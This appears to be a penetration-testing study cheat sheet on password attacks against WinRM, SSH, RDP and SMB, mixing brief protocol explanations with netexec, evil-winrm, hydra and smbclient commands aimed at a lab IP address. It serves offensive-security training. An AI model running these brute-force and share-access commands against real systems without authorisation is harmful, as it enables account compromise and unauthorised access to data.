Computer networks will have services ot manage, edit or create content. These services have an authentication mechanism using a username and password.
NetExec can communicate with these protocols can be used for password attacks.
WinRM Password Attack
Windows Remote Management (WinRM) is a network protocol based on XML web services using SOAP.
# netexec general format
netexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
# evil-WinRM
evil-winrm -i <target-IP> -u <username> -p <password>SSH Password Attack
SSH is a more secure way to connect to a remote host to execute system commands or transfer files from a host to a server. These services uses 3 diffrerent operations/methods: symmetric encryption, asymmetric encryption, and hashing.
- Symmetric Encryption uses the same key for encryption and decryption. A key exchange procedure is necessary to secure symmetric encryption (Diffie-Hellman key exchange).
- Asymmetric Encryption uses two keys: a private and public key. The private key must remain secret because it only can decrypt messages that have been encrypted with the public key. The server uses the public key for initialization and authentication. If the client can decrypt the message, it has the private key, and the SSH session can begin.
- HAshing converts the data into a another unique value. SSH uses hashing to confirm the authenticity of messages.
# SSH
hydra -L user.list -P password.list ssh://10.129.42.197RDP Password Attack
RDP is a network protocol for remote access to Windows systems. The protocol defines two participants for a connection: a so-called terminal server, on which actual work takes places, and a terminal client, via which the server is is remotely controlled.
# RDP
hydra -L user.list -P password.list rdp://10.129.42.197SMB Password Attack and Share Access
# SMB
hydra -L user.list -P password.list smb://10.129.42.197
## View avialable shares
netexec smb 10.129.42.197 -u "user" -p "password" --shares
## Access shares
smbclient -U user \\\\10.129.42.197\\SHARENAME